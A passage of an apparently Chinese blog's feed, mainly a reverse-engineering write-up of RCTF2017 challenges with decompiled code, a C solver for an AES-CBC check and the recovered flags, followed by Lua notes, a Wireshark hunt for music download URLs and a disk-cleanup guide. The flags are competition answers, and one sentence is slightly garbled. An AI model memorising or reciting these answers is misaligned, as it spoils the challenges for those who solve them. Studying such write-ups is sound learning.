如果为&lt;</span><br><span class="line">            &#123;</span><br><span class="line">               si32(int(int(li32(ebp - 20)) + -1),ebp - 20);i2 = i2 - 1</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">            else if(i1 == 62) // 如果为&gt;</span><br><span class="line">            &#123;</span><br><span class="line">               si32(int(int(li32(ebp - 20)) + 1),ebp - 20);;i2 = i2 + 1</span><br><span class="line">            &#125;</span><br><span class="line">         &#125;</span><br><span class="line">         else if(i1 == 43)</span><br><span class="line">         &#123;</span><br><span class="line">            var i0:int = li32(ebp - 20);</span><br><span class="line">            si8(int(int(li8(i0)) + 1),i0);*i2 = *i2 + 1</span><br><span class="line">         &#125;</span><br><span class="line">         else if(i1 == 45)</span><br><span class="line">         &#123;</span><br><span class="line">            i0 = li32(ebp - 20);</span><br><span class="line">            si8(int(int(li8(i0)) + -1),i0);</span><br><span class="line">         &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      esp = ebp;</span><br><span class="line">      ESP = esp;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从上面的逻辑我们能够看出，这个代码的意思其实是<strong>使用类似brainfuck的函数，将brainfuck字符串作用在i2所指向的位置的数据</strong>。对于熟悉brainfuck的同学们来说应该会知道，符号&lt;表示【当前指针向左移动】，而&gt;表示【当前指针向/RCTF2017移动】。而这个传入的参数虽然是i2，然后brainfuck字符串为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt;&gt;&gt;+++++&lt;&lt;&lt;&lt;-----&gt;&gt;&gt;++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-----</span><br></pre></td></tr></table></figure><p>最后一段[&lt;]的数量非常多，超过了前面所有的&gt;,说明指针**【会移动到i2所指位置之前的地方】**。知道这点很重要，因为我们重新会看i2赋值那段代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">  si32(-536244034,ebp - 12); e00990be</span><br><span class="line">      si32(2108577555,ebp - 16); 7dae5713</span><br><span class="line">      si32(-1182021347,ebp - 20);b98bc91d</span><br><span class="line">      si32(-1993905352,ebp - 24);89276b38</span><br><span class="line">i2-----&gt; 正常情况下的函数操作一般只会对i2一下的数据操作</span><br><span class="line">      si32(252579084,ebp - 28); f0e0d0c</span><br><span class="line">      si32(185207048,ebp - 32); b0a0908</span><br><span class="line">      si32(117835012,ebp - 36); 7060504</span><br><span class="line">      si32(50462976,ebp - 40);  3020100</span><br><span class="line">i3-----&gt; brainfuck函数操作了i3相关数据</span><br></pre></td></tr></table></figure><p>这段可以看出，这个i2其实只是指向了某段数据中间的位置，也就是说，brainfuck函数不但会影响到i2以及其相关数据，<strong>还会影响到i3指针指向的数据上的数据</strong>。<br>知道这一点很重要，在之后重现算法的时候不会踩坑。<br>最后我们粗略看一下AES128:</p><h3 id="aes128-cbc-encrypt-buffer">AES128_CBC_encrypt_buffer</h3><p><img src="/2017/05/22/RCTF2017/actuallycpp02.png" alt=""><br>之所以是粗略的看，因为一般题目中的AES都是真正实现的AES，一般不会出现重构这样的事情。所以这里我们大致浏览后发现的确是正常的AES的逻辑，我们就可以从github之类的地方找到一个AES128实现的算法直接使用。<br>大致流程知道了，关键就是这个AES128CBC，如果要解开AES的话，我们必须要知道<strong>密钥</strong>和<strong>IV</strong>。<br><img src="/2017/05/22/RCTF2017/actuallycpp03.png" alt=""><br>根据分析，我们之前知道了函数原型为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AES123_CBC_encrypt_buffer(mallocString, inputString, strlenOfinputString, i2, i3)</span><br></pre></td></tr></table></figure><p>那么此时IV也就是此时的i3，Key就是此时的i2。<br>i3和i2都在调用此函数之前被处理过，自然不能用之前的数据。为了能够完全将上述加密反向运算解密，这里使用C语言重现上面代码的逻辑，同时使用AES128CBC解密函数进行解密:<br><img src="/2017/05/22/RCTF2017/actuallycpp04.png" alt=""><br>最终得到flag:<br>RCTF{2b482cfdcc32e434a4527c3723bf89b8}<br>附上源代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;aes.h&quot;</span></span></span><br><span class="line"><span class="type">char</span>* str10 = <span class="string">&quot;You are right!&quot;</span>;</span><br><span class="line"><span class="type">char</span>* str9 = <span class="string">&quot;Try again!&quot;</span>;</span><br><span class="line"><span class="type">char</span>* str8 = <span class="string">&quot;&gt;&gt;&gt;&gt;&gt;+++++&lt;&lt;&lt;&lt;-----&gt;&gt;&gt;++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-----&quot;</span>;</span><br><span class="line"><span class="type">unsigned</span> <span class="type">char</span>* str7 =(<span class="type">unsigned</span> <span class="type">char</span>*) <span class="string">&quot;\xd5\x18\x61\x03\x1e\x1c\x95\x3a\x62\xc2\x93\x8b\x39\x62\x35\xb1\xf3\x64\x94\x2f\x33\x95\x42\x23\xd3\x6c\x26\x88\xab\x2a\x3f\x47\x94\x28\xb4\x46\xa5\x09\x04\x21\xac\x1f\x82\xba\xb4\xb3\x28\x4e\xc0\xbc\xef\x53\xfc\x43\x31\x5c\xda\x7c\x83\xd0\xfa\x90\xb5\x9f&quot;</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">brainfuck</span><span class="params">(<span class="type">char</span>*, <span class="type">int</span>*)</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">AES128_CBC_encrypt_buffer</span><span class="params">(<span class="type">char</span>*, <span class="type">char</span>*, <span class="type">int</span>, <span class="type">int</span>[], <span class="type">int</span>[])</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">brainfuck</span><span class="params">(<span class="type">char</span>* str8, <span class="type">int</span> temp[])</span> &#123;</span><br><span class="line">  <span class="type">uint8_t</span>*i2 = (<span class="type">uint8_t</span>*)temp;</span><br><span class="line">  <span class="keyword">while</span> (*str8 != <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="type">char</span> i1 = *str8;</span><br><span class="line">    str8++;</span><br><span class="line">    <span class="keyword">if</span> (i1 &gt; <span class="number">45</span>)<span class="comment">//如果不为+或者-</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> (i1 == <span class="number">46</span>)</span><br><span class="line">      &#123;</span><br><span class="line">        </span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> (i1 == <span class="number">60</span>) &#123; <span class="comment">// 如果为&lt;</span></span><br><span class="line">        i2 = i2 - <span class="number">1</span>;</span><br><span class="line">        <span class="comment">// *i2 = *i2 - 1;</span></span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> (i1 == <span class="number">62</span>) <span class="comment">// 如果为&gt;</span></span><br><span class="line">      &#123;</span><br><span class="line">        i2 = i2 + <span class="number">1</span>;</span><br><span class="line">        <span class="comment">// *i2 = *i2 + 1;</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (i1 == <span class="number">43</span>) &#123;</span><br><span class="line">      *i2 = (*i2) + <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (i1 == <span class="number">45</span>) &#123;</span><br><span class="line">      *i2 = (*i2) - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">check</span><span class="params">(<span class="type">char</span>* inputString)</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(inputString);</span><br><span class="line">  <span class="type">int</span>  i3[<span class="number">8</span>];</span><br><span class="line">  i3[<span class="number">4</span>] = <span class="number">-1993905352</span>;</span><br><span class="line">  i3[<span class="number">5</span>] = <span class="number">-1182021347</span>;</span><br><span class="line">  i3[<span class="number">6</span>] = <span class="number">0x7dae5713</span>;</span><br><span class="line">  i3[<span class="number">7</span>] = <span class="number">-536244034</span>;</span><br><span class="line">  i3[<span class="number">0</span>] = <span class="number">50462976</span>;</span><br><span class="line">  i3[<span class="number">1</span>] = <span class="number">117835012</span>;</span><br><span class="line">  i3[<span class="number">2</span>] = <span class="number">185207048</span>;</span><br><span class="line">  i3[<span class="number">3</span>] = <span class="number">252579084</span>;    </span><br><span class="line">  <span class="type">int</span> *i2 = &amp;i3[<span class="number">4</span>];</span><br><span class="line">  <span class="type">int</span> strLength = <span class="built_in">strlen</span>(inputString);</span><br><span class="line">  brainfuck(str8, &amp;i3[<span class="number">4</span>]);</span><br><span class="line">  <span class="type">int</span> i, j;</span><br><span class="line">  <span class="type">uint8_t</span>* key = (<span class="type">uint8_t</span>*)i2;</span><br><span class="line">  <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">4</span>; i++) &#123;</span><br><span class="line">    <span class="keyword">for</span> (j = i * <span class="number">4</span>; j&lt;i * <span class="number">4</span> + <span class="number">4</span>; j++)</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;\\x%02x&quot;</span>, key[j]);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">char</span>* mallocString = (<span class="type">unsigned</span> <span class="type">char</span>*)<span class="built_in">malloc</span>(<span class="number">65</span>*<span class="keyword">sizeof</span>(<span class="type">unsigned</span>  <span class="type">char</span>));</span><br><span class="line">  <span class="built_in">memset</span>(mallocString, <span class="string">&#x27;\x00&#x27;</span>, <span class="number">65</span>);</span><br><span class="line">  </span><br><span class="line">  <span class="type">uint8_t</span>* iv = (<span class="type">uint8_t</span>*)i3;</span><br><span class="line">  AES128_CBC_decrypt_buffer((<span class="type">uint8_t</span> *)mallocString, (<span class="type">uint8_t</span>*) str7, <span class="number">64</span>, (<span class="type">uint8_t</span>*) key, (<span class="type">uint8_t</span>*)iv);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%s&quot;</span>, mallocString);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">  check(<span class="string">&quot;test&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这一题真的是极限做出啊好吧！！！我还以为有机会回到30名以内的QvQ。。。</p><h2 id="easyre">easyre</h2><p>观察程序逻辑，此程序中多次调用了系统操作，猜测是重构了loader部分的逻辑(?)。仔细观察，会发现尝试打开/proc/pid/exe文件，并且对文件本身进行一定的检测。</p><h4 id="什么是-proc">什么是/proc?</h4><blockquote><p>/proc目录是一种文件系统，即proc文件系统。与其它常见的文件系统不同的是，/proc是一种伪文件系统（也即虚拟文件系统），存储的是当前内核运行状态的一系列特殊文件，用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息，甚至可以通过更改其中某些文件来改变内核的运行状态。<br>/proc/pid/exe 包含了正在进程中运行的程序链接,也就是说这个exe实际上是当前pid对应的程序。</p></blockquote><p><img src="/2017/05/22/RCTF2017/easyre00.png" alt=""><br>在检查文件没有问题后，该程序逻辑会强行执行一个unlink，由于本身并没有文件链接，于是会进入【创建一个可执行程序】的逻辑:<br><img src="/2017/05/22/RCTF2017/easyre01.png" alt=""><br>注意，在逻辑后方有一处对程序关键代码进行校验的地方(如下)，在不进行任何操作下，这个校验一定是不能通过的。<br><img src="/2017/05/22/RCTF2017/easyre02.png" alt=""><br>但是这个步骤发生的时候，我们需要的文件已经生成了。于是此时我们可以直接拷贝一份文件出来(生成的文件因为忙碌不能使用)，使用IDA分析:<br><img src="/2017/05/22/RCTF2017/easyre06.png" alt=""><br>（右边生成的文件，左边是拷贝的）<br><img src="/2017/05/22/RCTF2017/easyre03.png" alt=""><br>逻辑相比清晰多了:利用管道让两个进程间通信，子进程结束后，父进程就进入lol函数进行flag的处理。lol部分有一点麻烦，于是直接用gdb进行调试:<br><img src="/2017/05/22/RCTF2017/easyre04.png" alt=""><br>同样有一个坑点，显然是出题人故意不让程序流执行过去，如果我们绕过了这个逻辑后，会发现有一个输出:<br><img src="/2017/05/22/RCTF2017/easyre05.png" alt=""><br>这个就是处理后的flag:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rhelheg</span><br></pre></td></tr></table></figure><p>话说这题很简单嘛？？？为什么我看最后就剩100多分。。。我其实并没有看懂逻辑来着。。。</p><h2 id="更新">更新</h2><p>真tm的蠢啊我！！！！！！这个是一个UPX啊啊啊啊:<br><img src="/2017/05/22/RCTF2017/easyre07.png" alt=""><br>摔！！！！！！！！！！！！！！</p><h3 id="最后吐槽一下">最后吐槽一下</h3><p>简直是pwn的转型啊！我pwn一题都没做啊摔！！！</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;吐槽一下自己这么久都没有写文章了怕是变懒了。。。&lt;/p&gt;
&lt;h2 id=&quot;more-rctf2017&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://showlinkroom.me/categories/CTF/"/>
    
    
    <category term="reverse" scheme="https://showlinkroom.me/tags/reverse/"/>
    
    <category term="ctf" scheme="https://showlinkroom.me/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>lua 学习笔记</title>
    <link href="https://showlinkroom.me/2017/05/05/lua-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <id>https://showlinkroom.me/2017/05/05/lua-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</id>
    <published>2017-05-05T08:26:34.000Z</published>
    <updated>2020-07-16T13:31:30.391Z</updated>
    
    <content type="html"><![CDATA[<p>正所谓技多不压身(?)，在这里打算记录学一门叫做lua的语言的一些困惑</p><span id="more"></span><h2 id="lua学习笔记">lua学习笔记</h2><h3 id="table">table</h3><p>~lua的table有点python dict的意思，但是又不完全是一个hash映射，更像是一个对象。~<br>上述说法经大佬提示修改:<br>lua的table就是一个hash映射。后面给出具体解释<br>这里我们给出例子:</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; b = &#123;<span class="string">&#x27;aaaa&#x27;</span>,<span class="number">1</span>&#125;</span><br><span class="line">&gt; <span class="built_in">print</span>(b[<span class="number">1</span>])</span><br><span class="line">aaaa</span><br></pre></td></tr></table></figure><p>这个就是最简单的lua的table的格式，lua允许将任何类型的数据放在table之中(甚至是lua里面的nil类型)，在获取数据的时候，有好几种类型:</p><ul><li>当数据没有指定任何状态下(如例子),可以使用index的方式，但是注意是从1开始的</li></ul> <figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; b = &#123;[<span class="string">&#x27;aaa&#x27;</span>]=<span class="number">1</span>&#125;</span><br><span class="line">&gt; <span class="built_in">print</span>(b[<span class="string">&#x27;aaa&#x27;</span>])</span><br><span class="line"><span class="number">1</span></span><br></pre></td></tr></table></figure><ul><li>当数据使用类似于下标的方式指定了对应的映射关系的话，就可以通过下标的方式来访问</li></ul> <figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&gt; t = &#123;&#123;a=<span class="number">1</span>,b=<span class="number">2</span>&#125;,&#123;c=<span class="number">3</span>,d=<span class="number">4</span>&#125;&#125;</span><br><span class="line">&gt; <span class="built_in">print</span>(t[<span class="number">1</span>].a)</span><br><span class="line"><span class="number">1</span></span><br></pre></td></tr></table></figure><ul><li>当我们指定了tuple内容之后，我们可以通过.的方式进行作用域访问。</li></ul> <figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt; <span class="function"><span class="keyword">function</span> <span class="title">test</span><span class="params">()</span></span></span><br><span class="line">&gt;&gt; <span class="keyword">return</span> <span class="string">&quot;test&quot;</span></span><br><span class="line">&gt;&gt; <span class="keyword">end</span></span><br><span class="line">&gt; t = &#123;test&#125;</span><br><span class="line">&gt; <span class="built_in">print</span>(t[<span class="number">1</span>]())</span><br><span class="line">test</span><br></pre></td></tr></table></figure><ul><li>当赋值内容为函数的时候，可将其直接使用。<br>处理器关于table方面的逻辑<br><img src="/2017/05/05/lua-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/lua00.png" alt=""><br>首先我们可以看到，有一个叫做arrayindex的函数，通过这个函数，我们能够判断当前的table是不是<strong>数组型</strong>的(也就是是不是指定了下标)。如果key作为数组的一部分的话，那么久视为数组处理。否则的话，将key传入mainposition函数，进行hash映射，从而找到对应的节点:<br><img src="/2017/05/05/lua-%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/lua01.png" alt=""></li></ul><h3 id="2017-3-5">2017 3.5</h3><h3 id="function-与-和">function 与: 和 .</h3><p>lua也是讲究面向对象的变成方式。这里以函数为例讲解一下。</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt; Class = &#123;&#125;</span><br><span class="line">&gt; Class.x = <span class="number">1</span></span><br><span class="line">&gt; Class.y = <span class="number">2</span></span><br><span class="line">&gt; <span class="function"><span class="keyword">function</span> <span class="title">Class:printmy</span><span class="params">()</span></span></span><br><span class="line">&gt;&gt; <span class="built_in">print</span>(<span class="built_in">self</span>.x,<span class="built_in">self</span>.y)</span><br><span class="line">&gt;&gt; <span class="keyword">end</span></span><br></pre></td></tr></table></figure><p>我们首先定义了一个table叫做class，其中有属性x,y分别为1,2。然后这里我们使用了:作为函数定义给了Class，并且让其输出**[本Class的x,y]**。然后如果我们按照昨天教的方法调用函数的话:</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&gt; Class.printmy()</span><br><span class="line"><span class="built_in">stdin</span>:<span class="number">2</span>: attempt to index <span class="keyword">local</span> <span class="string">&#x27;self&#x27;</span> (a <span class="literal">nil</span> value)</span><br><span class="line">stack <span class="built_in">traceback</span>:</span><br><span class="line">        <span class="built_in">stdin</span>:<span class="number">2</span>: <span class="keyword">in</span> <span class="function"><span class="keyword">function</span> &#x27;<span class="title">printmy</span>&#x27;</span></span><br><span class="line"><span class="function">        <span class="title">stdin</span>:1: <span class="title">in</span> <span class="title">main</span> <span class="title">chunk</span></span></span><br><span class="line"><span class="function">        [<span class="title">C</span>]: ?</span></span><br></pre></td></tr></table></figure><p>此时会报错，printmy函数会尝试去寻找self对应的变量，显然我们没有去定义，自然不存在的，所以就无法找到对应的变量。然而我们使用:去访问的时候会变成:</p><figure class="highlight lua"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&gt; Class:printmy()</span><br><span class="line"><span class="number">1</span>       <span class="number">2</span></span><br></pre></td></tr></table></figure><p>由于:的符号，会将self(或者this)理解成当前对象，然后就会到当前对象中查找x和y属性，所以就能够顺利的找到这个属性并且输出。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;正所谓技多不压身(?)，在这里打算记录学一门叫做lua的语言的一些困惑&lt;/p&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="lua" scheme="https://showlinkroom.me/tags/lua/"/>
    
  </entry>
  
  <entry>
    <title>music-spider</title>
    <link href="https://showlinkroom.me/2017/05/05/music-spider/"/>
    <id>https://showlinkroom.me/2017/05/05/music-spider/</id>
    <published>2017-05-05T08:26:11.000Z</published>
    <updated>2020-07-16T13:31:30.394Z</updated>
    
    <content type="html"><![CDATA[<p>上次的爬虫经验给了我非常良好的感觉（然而一些基本功能好像没完成？），最近找到了一首找了很久的歌，苦于没有下载连接（后证明只是没看见），这里记录如何将这首歌下载下来的探索历程</p><span id="more"></span><h2 id="虾米音乐">虾米音乐</h2><h3 id="网页查找链接">网页查找链接</h3><p>首先找到了虾米的网站，利用google chrome自带的开发者工具查看里面的内容:<br><img src="/2017/05/05/music-spider/music-spider-01.png" alt=""><br>然而这里调用了js代码，从这里我们似乎不能找到对应的链接的位置。加上我是一个web小白，完全不知道浏览器的这些js代码会出现在什么位置，所以我只能采用别的方法查找了。</p><h3 id="数据包抓取">数据包抓取</h3><p>既然听歌的时候数据来自于网络，那么，这个音乐的数据必然会经过网络传输过来。加上一般网页都会将音乐文件缓存在本地，那么肯定在传输过程中有一个<strong>下载</strong>的过程。于是我们这里使用wireshark抓取一下传输的数据包。<br>首先确定了自己当前的ip地址为:<br><img src="/2017/05/05/music-spider/music-spider-02.png" alt=""><br>并且确定了虾米音乐的ip地址为:<br>140.205.220.98<br>然后在wireshark中使用指令： ip.addr == 140.205.220.98 找到相关数据:<br><img src="/2017/05/05/music-spider/music-spider-03.png" alt=""><br><a href="http://www.xiami.com/song/playlist/id/1769139997/cat/json">http://www.xiami.com/song/playlist/id/1769139997/cat/json</a><br>注意这个箭头指向的数据包，可以看到<strong>在完成了tcp三次握手之后，立刻就收到了来自虾米的数据包*，并且这个数据包很有意思，从url中看是一个json，json里面传输了很多数据，会不会就包含了相关的音乐数据呢？然后这里进行相关数据查看:<br><img src="/2017/05/05/music-spider/music-spider-04.png" alt=""><br>仔细看这其中，有一个叫做</strong> “filePath” <strong>的属性！这个属性的下面会不会就是我们的音乐呢？下载了后发现的确是的！于是就成功的找到了</strong>虾米音乐的json存放的url**(虽然这个url下并没有VIP超高级音质的路径)<br>url中的/id/后方的数据就是一个文件的表示，所以通过修改这个数据，就能够接触到任意的json文件，实现直接下载！（好吧其实页面本身也提供了这个功能）</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;上次的爬虫经验给了我非常良好的感觉（然而一些基本功能好像没完成？），最近找到了一首找了很久的歌，苦于没有下载连接（后证明只是没看见），这里记录如何将这首歌下载下来的探索历程&lt;/p&gt;</summary>
    
    
    
    <category term="Dev" scheme="https://showlinkroom.me/categories/Dev/"/>
    
    
    <category term="python" scheme="https://showlinkroom.me/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>C盘大瘦身</title>
    <link href="https://showlinkroom.me/2017/05/05/C%E7%9B%98%E5%A4%A7%E7%98%A6%E8%BA%AB/"/>
    <id>https://showlinkroom.me/2017/05/05/C%E7%9B%98%E5%A4%A7%E7%98%A6%E8%BA%AB/</id>
    <published>2017-05-05T08:25:18.000Z</published>
    <updated>2020-07-16T13:31:30.376Z</updated>
    
    <content type="html"><![CDATA[<p>这周买了个固态，于是准备把系统移过去。然而C盘莫名奇妙的用掉了120G? 于是这里记录一下C盘的瘦身过程好了</p><span id="more"></span><h2 id="c盘瘦身攻略">C盘瘦身攻略</h2><p>说到C盘瘦身，首先还是得看看自己的电脑里面不能删掉的东西。一般来说</p><ul><li>C:\Windows</li><li>C:\Program Files (x86)</li><li>C:\Program Files</li></ul><p>这三个地方的东西我们还是不要去动比较好，毕竟是比较好（或者说还没弄清楚里面都有啥）。</p><p>然后我们可以发现除了这三个文件之外，还有别的文件夹:</p><ul><li>C:\Users\PC-Name<br>只记得这个文件了QvQ，其他的我们一会儿会提供工具进行查找。<br>PC-Name这个文件夹里面有一半的文件都是<strong>系统在安装程序的时候安装的附带程序</strong>存放的默认位置，也就是说，即使你将某些程序装在了其他盘，这个文件夹里面也有可能会装到一些额外的应用.</li></ul><p>在查找过后，发现<strong>WMWare</strong>和<strong>VirtualBox</strong>会默认的将虚拟机安装在这个目录，于是怒删。。。。</p><p>这下小了不少。然而现在好像还不是特别小，于是我们可以使用一个叫做<strong>MakeRoom</strong>的软件，通过这个软件我们就能够快速的查找电脑里面的大文件:<br><img src="/2017/05/05/C%E7%9B%98%E5%A4%A7%E7%98%A6%E8%BA%AB/makeroom.png" alt=""><br>通过这个方式，我们能够找到更多的大文件,这里我们记录一个特殊的文件:<br>c:/windows/installer<br>这个文件好大，我这边几乎都有11GB了。这个文件夹里面存放的都是.msi文件。<br>这个文件夹的内容里面其实存放的是Windows Intaller安装应用程序的注册信息:<br><code>%systemRoot%\Installer文件夹保存着所有基于Windows Installer安装的应用软件的注册信息，一旦此文件受损，那么基于Windows Installer安装的相关软件将无法正常运行，你需要重新安装基于是Windows Installer安装的应用软件，以修复%systemRoot%\Installer文件夹中的注册信息。以Office为例，当你删除了这个文件夹中的内容后，Office的安装程序将无法使用，无论是重新安装，修复、添加和删除Office组件，都无法运行，此时你必须手动删除Office，然后再重新安装。</code></p><p>Windows Installer是一个软件组件和一个Windows用于安装，维护和删除软件的一个接口。这个安装包中存放了安装信息以及文件中的一些可选的功能，这就被称为**.msi文件**。这个文件的文件夹的名字对数据库进行松散的关联为COM结构化存储器。并且会包含之前的重大改变。我们在使用.msi安装的时候，我们的能够保证</p><ul><li>诊断并修复损坏的程序</li><li>可靠地卸载损坏的程序</li><li>可以按照我们的需求安装程序</li></ul><p>也就是说，这个文件夹里面放着的东西非常重要，要是删除了的话，我们卸载文件就会非常困难，自然是不能删除的。这里提供一个<strong>符号链接更改</strong>的办法:</p><ul><li>首先，把这个installer复制到别的盘符厘米那</li><li>把C盘的installer删除</li><li>在管理员权限下进入C:\windows, 然后输入</li></ul>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mklink /D C:\Windows\Installer 移动的路径\Installer</span><br></pre></td></tr></table></figure><p>这样的话能够构建一个符号链接。通过这个方式，能够让系统访问C:\Windows\Installer的时候，自动访问到 我们移动到的位置上。</p><p>加上删掉了VS多余的组件，C盘终于小了30GB左右，终于可以移动系统了~</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这周买了个固态，于是准备把系统移过去。然而C盘莫名奇妙的用掉了120G? 于是这里记录一下C盘的瘦身过程好了&lt;/p&gt;</summary>
    
    
    
    <category term="Daily" scheme="https://showlinkroom.me/categories/Daily/"/>
    
    
    <category term="折腾计算机" scheme="https://showlinkroom.me/tags/%E6%8A%98%E8%85%BE%E8%AE%A1%E7%AE%97%E6%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>网络安全大作业5-防火墙的配置</title>
    <link href="https://showlinkroom.me/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/"/>
    <id>https://showlinkroom.me/2017/05/04/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%A4%A7%E4%BD%9C%E4%B8%9A5-%E9%98%B2%E7%81%AB%E5%A2%99%E7%9A%84%E9%85%8D%E7%BD%AE/</id>
